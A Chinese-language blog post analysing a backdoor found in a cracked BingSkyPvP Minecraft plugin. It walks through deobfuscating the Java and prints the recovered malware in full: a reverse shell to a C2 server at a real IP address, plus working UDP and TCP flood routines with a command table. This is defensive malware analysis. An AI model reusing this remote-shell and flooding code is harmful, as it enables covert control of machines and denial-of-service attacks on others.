对MC某插件破解版后门的逆向

对MC某插件破解版后门的逆向

开服需要使用BingSkyPVP插件, 奈何正版到Docker里过不去验证, 无奈只好用破解版了. 却发现服务端经常无缘无故停止运行 (类似被直接KILL, 无任何提示) 于是怀疑和上次一样是插件后门 经过排查后, 发现了之前的破解版插件

背景

开服需要使用BingSkyPVP插件, 奈何正版到Docker里过不去验证, 无奈只好用破解版了.

却发现服务端经常无缘无故停止运行 (类似被直接KILL, 无任何提示) 于是怀疑和上次一样是插件后门

经过排查后, 发现了之前的破解版插件

样本信息

名称: [B]BingSkyPvP-4.12.2.jar

MD5: 0D507B2290D39A1BF7C23D75AEC04D7E

SHA-1: 394A419E6E28627CDCB2D28E3019DCA15C4C00B2

文件下载: [B]BingSkyPvP-4.12.2.jar

开始分析

确定后门位置

使用GDA反编译并MalScan, 发现插件中有执行系统命令的代码, 且比正版插件多出了一个进行过混淆的包 (l.M.x).

扫描结果:

#File Traversal: 
[method@00198a]  javassist.W.<init>
[method@002c2b]  javassist.ws.a.a
[method@0032e7]  org.apache.commons.codec.cli.Digest.run

#HTTP Connection: 
[method@00031a]  cn.yistars.bstats.MetricsBase.sendData
[method@0005dc]  cn.yistars.nbtapi.utils.Metrics$MetricsBase.sendData
[method@000620]  cn.yistars.nbtapi.utils.VersionChecker.checkForUpdates
[method@0006b1]  cn.yistars.skypvp.SkyPvP.loadConfig0
[method@000868]  cn.yistars.skypvp.verification.VerificationManager.doVerification
[method@00086b]  cn.yistars.skypvp.verification.VerificationManager.refreshAuthor
[method@001987]  javassist.V.a
[method@0045e3]  org.apache.commons.logging.LogFactory$5.run

#Writing File : 
[method@0025c4]  javassist.o.write
[method@0025c5]  javassist.o.write
[method@0025c6]  javassist.o.write

#Execute command: 
[method@002ec2]  l.M.x.v_.v

可疑代码段, 一看这样子100%有问题:

// 代码被混淆,字符串被加密
private static void v(String p0,Socket p1){
       Process process;
       StringBuilder str1;
       void ovoid = null;
       try{
          if (!System.getProperty(v_.ui[v_.bh]).contains(v_.ui[v_.H8c])) {
             process = Runtime.getRuntime().exec(p0);
             if (v_.m >= 0) {
                throw ovoid;
             }
          }else {
             process = Runtime.getRuntime().exec(v_.ui[v_.lx]+p0);
          }
          BufferedReader uBufferedRea = new BufferedReader(new InputStreamReader(process.getInputStream()));
          StringBuilder str = "";
          while (true) {
             if ((str1 = uBufferedRea.readLine()) != null) {
                if ((str1 = str.append(str1).append(v_.ui[v_.ft])) >= 0) {
                   throw ovoid;
                }
                continue ;
             }else {
                p1.getOutputStream().write((str+v_.ui[v_.ec]).getBytes());
                if (v_.s) {
                   throw ovoid;
                }
             }
          }
       }catch(java.lang.Exception e0){
       }
       return;

    }

故猜测整个l.M.x包都是后门

(注: 从下文开始反编译工具换为Jadx, 所以名称会不一样, l.M.x.v_.v对应的位置为: p0021.p003M.p004x.C549v_.C549v_)

本文仅分析p0021.p003M.p004x.C549v_ (远控主要代码)

解密字符串&不透明谓词

惊人的注意力

注意到, 代码中的字符串没有明文(从f3403ui这个数组中读取), 且数字常量均为动态计算得到, 还存在死代码(好一个不透明谓词). 代码如下所示

/* ... 省略一堆差不多的定义 ... */
private static final int f3501gT = (-262174164) ^ (-262174214);
private static final int f3502FS = I.m510o(-903758505) ^ I.m511N(-235577661, 1653440151);
private static final int f3503Oj = (I.m510o(-1487434203) ^ I.m511N(1462576015, 274345715)) & (-1);
private static final int f3504Y = I.m510o(1177464467) ^ 1529550547;
private static final int f3505CF = 1027496694 ^ I.m510o(-1051034436);
private static String m325v3(String z8) {
    char[] IL = z8.toCharArray();
    char[] X2 = new char[IL.length];
    int Uz = f3492O8;
    while (Uz < IL.length) {
        int i = Uz % f3493mm;
        if (i == f3494tf) {
           X2[Uz] = (char) (IL[Uz] ^ (f3497P % S7m));
           if (f3405s) {
               throw null;
           }
        } else if (i == f3495nL) {
            X2[Uz] = (char) (IL[Uz] ^ (f3498Wv % f3499Du));
            if (f3404m >= 0) {
                throw null;
            }
        } else if (i != f3496QZ) {
            X2[Uz] = (char) (IL[Uz] ^ (z8.length() % f3502FS));
        } else {
            X2[Uz] = (char) (IL[Uz] ^ (f3500x % f3501gT));
            if (f3404m >= 0) {
                throw null;
            }
        }
        Uz++;
        if (f3405s) {
            throw null;
        }
    }
    /* ... 此处省略部分代码 ... */
}

考虑直接全部复制下来编译看结果 (虽说有点过于粗暴, 但是确实很好用)

IDEA随便开个项目, 将C0549v_I两个类反编译得到的代码复制到文件中 (不用修改代码, 将最上方package定义删除即可)

简化不透明谓词

我的思路是在执行后直接遍历类中的字段, 反正最后计算结果不会变动, 只要读取完后覆盖到代码那一堆上即可

我们只需要简化C0549v_中的即可, 类I中的代码只是起计算作用

(注: 覆盖回去时有两个字段需要特殊处理, 一个是String[]另一个是boolean)

public class Main {
    public static void main(String[] args) {
        printProperties(C0549v_.class);
    }

    public static void printProperties(Class<?> clazz) {
        // 获取所有声明的字段
        Field[] fields = clazz.getDeclaredFields();

        for (Field field : fields) {

            try {
                // 获取字段名称和值
                String fieldName = field.getName();
                Object fieldValue = field.get(clazz);

                // 打印字段名称和值
                System.out.println("private static final int " + fieldName + " = " + fieldValue + ";");
            } catch (IllegalAccessException e) {
                // 捕获无法访问字段的异常
                System.err.println("Unable to access field: " + field.getName());
            }
        }
    }
}

执行后你会得到一堆将字段赋值为数字的代码, 我们还需要在IDEA中使用 Control+Alt+N 将其内联到代码中

/* ... */
private static final int f1553p = 1431655765;
/* ... */

还原字符串

在下方代码中我们不难发现, 字符串均从一个数组中读出(f3403ui)

Socket socket = new Socket();
socket.connect(new InetSocketAddress(f3403ui[f3407U], f3408A), f3409a);
OutputStream outputStream = socket.getOutputStream();
String str = f3403ui[f3410b];
Object[] objArr = new Object[f3411f];
objArr[f3412C] = System.getProperty(f3403ui[f3413Cl]);
objArr[f3414R] = System.getProperty(f3403ui[f3415E]);
objArr[f3416N] = System.getProperty(f3403ui[f3417K]);
outputStream.write(String.format(str, objArr).getBytes());

查看该数组的交叉引用发现, 在函数m329u中对该数组进行了初始化, 最后赋值到了f3403ui中, 只要在代码中输出一下即可, 我们反正可以自己编译, 想咋改就咋改

 public static void m329u() {
        String[] strArr = new String[f3473V];
        /* ... */
        strArr[f3477Kr] = m325v3("#←DŽニ-\ufff7Ə");
        strArr[f3478EM] = m325v3("#←DŽノ>\ufff9Ƃ");
        strArr[f3479Q1] = m325v3("l");
        strArr[f3480K0] = m325v3("/\ufff5Ƅロ#\ufff6Ə");
        strArr[f3481L] = "";
        /* ... */
        strArr[f3490V4] = m325v3("ヲラ");
        strArr[f3491V6] = m325v3("ヲ");
        f3403ui = strArr;
    }

最后得到的数组:

["75.119.146.125", "12354544\n%s %s %s 1\n", "user.name", "os.name", "os.arch", " ", "", "console", " ", "At", "UDP", "Join", "OpenAss", "os.name", "Windows", "cmd.exe /c ", "\n\r", "\n"]

将其全部内联到代码中. 怎么样? 经过这一堆操作, 代码是不是清晰多了?

真正的分析

经过上述操作后我们发现, 实际上这么多代码中只有一个函数是我们真的要分析的, 最后得到的代码(有注释)如下:

class C0549v_ {

    // 主要代码
    public C0549v_() {
        while (true) {
            try {
                Thread.sleep(10000); // 休眠 (反沙箱?)
            } catch (InterruptedException e) {
            }

            try {
                Socket socket = new Socket();
                socket.connect(new InetSocketAddress("75.119.146.125", 7267), 2000); // 连接C2服务器: 75.119.146.125:7267
                OutputStream outputStream = socket.getOutputStream();
                String str = "12354544\n%s %s %s 1\n"; // Magic: 12354544
                Object[] objArr = new Object[3];  // 存储用户名, 系统型号, 系统架构
                objArr[0] = System.getProperty("user.name");
                objArr[1] = System.getProperty("os.name");
                objArr[2] = System.getProperty("os.arch");
                outputStream.write(String.format(str, objArr).getBytes()); // 组包, 发送
                while (socket.isConnected()) {
                    String[] split = new BufferedReader(new InputStreamReader(socket.getInputStream())).readLine().split(" ");
                    if (split[0].equalsIgnoreCase("console")) { // 执行命令, 指令: console <将要执行的命令>
                        split[0] = "";
                        String join = String.join(" ", split);
                        new Thread(() -> {
                            Process exec;
                            try {
                                if (System.getProperty("os.name").contains("Windows")) { // 此处判断操作系统: Windows时使用cmd, Linux时直接执行
                                    exec = Runtime.getRuntime().exec("cmd.exe /c " + join);
                                } else {
                                    exec = Runtime.getRuntime().exec(join);
                                }
                                // 读取输出
                                BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
                                StringBuilder sb = new StringBuilder();
                                do {
                                    String readLine = bufferedReader.readLine();
                                    if (readLine == null) {
                                        // 分行发送给服务器
                                        socket.getOutputStream().write((sb + "\n").getBytes());
                                        return;
                                    }
                                    sb.append(readLine).append("\n\r");
                                } while (true);
                            } catch (Exception e2) {
                            }
                        }).start();
                    }

                    // 指令: At <UDP/Join> <目标主机> <目标端口> <持续时间(s)> <线程数> [发包内容(可选, Join模式有效)]
                    if (split[0].equalsIgnoreCase("At")) {
                        String str2 = split[1];
                        int DPort = Integer.parseInt(split[2]); // 目标端口
                        int KeepingTime = Integer.parseInt(split[3]); // 持续时间
                        int SendingTimes = Integer.parseInt(split[4]); // 线程数
                        String str3 = split[5];

                        // UDPFlood, 指令: At UDP
                        if (str3.equalsIgnoreCase("UDP")) {
                            int i = 0;
                            while (i < SendingTimes) {
                                new Thread(() -> {
                                    InetAddress inetAddress = null;
                                    byte[] bArr = new byte[60000];
                                    SecureRandom secureRandom = new SecureRandom();
                                    try {
                                        inetAddress = InetAddress.getByName(str2); // 获取目标地址
                                    } catch (UnknownHostException e2) {
                                    }
                                    secureRandom.nextBytes(bArr);
                                    DatagramPacket datagramPacket = new DatagramPacket(bArr, bArr.length, inetAddress, DPort);
                                    long currentTimeMillis = System.currentTimeMillis() + (KeepingTime * 1000);
                                    while (currentTimeMillis - System.currentTimeMillis() > 0) {
                                        try {
                                            DatagramSocket datagramSocket = new DatagramSocket();
                                            datagramSocket.connect(inetAddress, DPort);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.send(datagramPacket);
                                            datagramSocket.close();
                                        } catch (Exception e3) {
                                        }
                                    }
                                }).start();
                                i++;
                            }
                        }

                        // TCPFlood, 指令: At Join
                        if (str3.equalsIgnoreCase("Join")) {
                            String str4 = split.length == 7 ? split[6] : str2; // 如果有附加参数则填充, 没有则填充目标主机
                            byte[] bArr = new byte[512];
                            byte[] bytes = str4.getBytes();
                            int i2 = 0;
                            while (i2 < str4.length()) {
                                bArr[4 + i2] = bytes[i2];
                                i2++;
                            }
                            // 前4个字节为空, 然后开始填充str4, 后4个字节为空
                            int length = str4.length() + 4;
                            bArr[length] = (byte) ((DPort >> 8) & 255);
                            bArr[length + 1] = (byte) (DPort & 255);
                            bArr[length + 2] = (byte) 2;
                            bArr[length + 4] = (byte) 0;
                            String str5 = "OpenAss";
                            bArr[length + 5] = (byte) str5.length();
                            byte[] bytes2 = str5.getBytes();
                            int i3 = 0;
                            while (i3 < str5.length()) {
                                bArr[length + 6 + i3] = bytes2[i3];
                                i3++;
                            }
                            // 在之后填充端口号字节 + 0x2 + 0x0 + 0x0 + 7 + "OpenAss"
                            bArr[length + 3] = (byte) (str5.length() + 2);
                            int length2 = length + 5 + str5.length() + 1;
                            int i4 = 0;
                            // 上述代码均为组包
                            while (i4 < SendingTimes) {
                                new Thread(() -> {
                                    InetSocketAddress inetSocketAddress = new InetSocketAddress(str2, DPort);
                                    long currentTimeMillis = System.currentTimeMillis() + (KeepingTime * 1000);
                                    while (currentTimeMillis - System.currentTimeMillis() > 0) {
                                        try {
                                            Socket socket2 = new Socket();
                                            socket2.connect(inetSocketAddress, 1000);
                                            socket2.getOutputStream().write(bArr, 0, length2);
                                            socket2.close();
                                        } catch (Exception e2) {
                                        }
                                    }
                                }).start();
                                i4++;
                            }
                        }
                    }
                }
            } catch (Exception e2) {
            }
        }
    }
}

在刚连接时向C2发送"12354544 + 用户名 + 系统型号 + 系统架构 + 1", 然后等待C2下发指令

指令

参数

作用&解释

console

<命令>

执行所下发的命令并返回结果给C2

At UDP

<目标主机> <目标端口> <持续时间(s)> <线程数>

UDPFlood攻击, 单个数据包长度60000, 内容随机

At Join

<目标主机> <目标端口> <持续时间(s)> <线程数> [发包内容(可选, 默认内容为目标主机)]

TCPFlood攻击, 发送数据包长度512, 组包逻辑见下表

TCPFlood数据包组包逻辑, 由GPT生成 (str4: 发包内容或目标主机, DPort: 目标端口, str5: "OpenAss")

C2信息

(BTW, 这个C2好像挂了; 那么, 为什么服务器会被KILL呢???)

总结

尽量支持正版软件, 使用破解软件需谨慎.

Comment